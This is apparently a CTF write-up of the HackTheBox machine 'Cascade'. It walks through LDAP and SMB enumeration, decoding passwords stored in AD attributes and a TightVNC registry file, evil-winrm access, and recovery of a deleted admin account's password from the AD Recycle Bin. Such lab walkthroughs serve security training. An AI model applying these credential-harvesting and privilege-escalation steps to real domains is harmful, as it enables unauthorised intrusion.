HackTheBox — Cascade
6 min readJul 25, 2020
Today we have a windows machine rated as medium with IP 10.10.10.182
Let’s start!
Enumeration
Nmap
root@strike:~# nmap -sC -sV 10.10.10.182
Starting Nmap 7.70 ( https://nmap.org ) at 2020-07-26 00:02 EET
Nmap scan report for cascade.local (10.10.10.182)
Host is up (0.15s latency).
Not shown: 986 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-07-25 22:10:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open unknown
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7m12s, deviation: 0s, median: 7m12s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-07-26 00:11:03
|_ start_date: 2020-07-25 17:05:18
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.84 seconds
root@strike:~#We have few ports open: Kerberos (88), LDAP (389) and SMB (445) are the most interesting ones. Let’s check out RPC — 445 for anonymous connection
After Dump all users, Let’s check out LDAP
root@strike:~# ldapsearch -x -b 'dc=cascade,dc=local' -h 10.10.10.182 "(objectclass=*)"
...
# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200725155857.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 319634
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132401850334088459
lastLogoff: 0
lastLogon: 132401850930945507
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132401663379460090
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
# {4026EDF8-DBDA-4AED-8266-5A04B80D9327}, Policies, System, cascade.local
dn: CN={4026EDF8-DBDA-4AED-8266-5A04B80D9327},CN=Policies,CN=System,DC=cascade
,DC=localI found password encoded as base64, Let’s decode it
Let’s connect with this credentials to smbclient
I found interest file, So let’s download it
mb: \IT\Email Archives\> ls
. D 0 Tue Jan 28 13:04:51 2020
.. D 0 Tue Jan 28 13:04:51 2020
Meeting_Notes_June_2018.html A 2522 Tue Jan 28 13:04:51 2020
13106687 blocks of size 4096. 7793283 blocks available
smb: \IT\Email Archives\> get Meeting_Notes_June_2018.html
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as Meeting_Notes_June_2018.html (3.3 KiloBytes/sec) (average 3.3 KiloBytes/sec)Cat it
<p>-- New production network will be going live on
Wednesday so keep an eye out for any issues. </p>
<p>-- We will be using a temporary account to
perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password). </p>
<p>-- The winner of the �Best GPO� competition will be
announced on Friday so get your submissions in soon.</p>Here there is a registery found VNC Install.reg. let’s see what’s inside
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority"=dword:00000000
"BlockRemoteInput"=dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"=dword:000016a8
"DisconnectAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAuthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:00000001
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:00000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000- We have hex password, After decode is sT333ve2
- Now we have new credentials username s.smith and password sT333ve2
- Let’s connect with evil-winrm tool
Gain user flag!
Privilege Escalation
- Downloaded the Audit.db file and looking in the contents I found ArkSvcBQO5l5Kj9MdErXx6Q6AGOw==
- Having a look at both the other files that we have got CascAudit.exe and CascCrypto.dll using DNSPY
- After all the REverse Engineering is done, the final output is w3lc0meFr31nd
- Let’s login with new credentials
We have interest thing here!
*Evil-WinRM* PS C:\Users\arksvc\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
============== ==============================================
cascade\arksvc S-1-5-21-3332504370-1206983947-1165150453-1106
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
CASCADE\Data Share Alias S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\IT Alias S-1-5-21-3332504370-1206983947-1165150453-1113 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\AD Recycle Bin Alias S-1-5-21-3332504370-1206983947-1165150453-1119 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Remote Management Users Alias S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\arksvc\Documents>Let’s find deleted objects
*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" -IncludeDeletedObjects
Deleted : True
DistinguishedName : CN=CASC-WS1\0ADEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe,CN=Deleted Objects,DC=cascade,DC=local
Name : CASC-WS1
DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe
ObjectClass : computer
ObjectGUID : 6d97daa4-2e82-4946-a11e-f91fa18bfabe
Deleted : True
DistinguishedName : CN=Scheduled Tasks\0ADEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2,CN=Deleted Objects,DC=cascade,DC=local
Name : Scheduled Tasks
DEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2
ObjectClass : group
ObjectGUID : 13375728-5ddb-4137-b8b8-b9041d1d3fd2
Deleted : True
DistinguishedName : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
Name : {A403B701-A528-4685-A816-FDEE32BDDCBA}
DEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
ObjectClass : groupPolicyContainer
ObjectGUID : ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
Deleted : True
DistinguishedName : CN=Machine\0ADEL:93c23674-e411-400b-bb9f-c0340bda5a34,CN=Deleted Objects,DC=cascade,DC=local
Name : Machine
DEL:93c23674-e411-400b-bb9f-c0340bda5a34
ObjectClass : container
ObjectGUID : 93c23674-e411-400b-bb9f-c0340bda5a34
Deleted : True
DistinguishedName : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local
Name : User
DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
ObjectClass : container
ObjectGUID : 746385f2-e3a0-4252-b83a-5a206da0ed88
Deleted : True
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
Name : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
ObjectClass : user
ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059
*Evil-WinRM* PS C:\Users\arksvc\Documents>*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *
Find another password: cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
Let’s decode it
Login with new credentials
Gain root flag!
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THX for ur time!
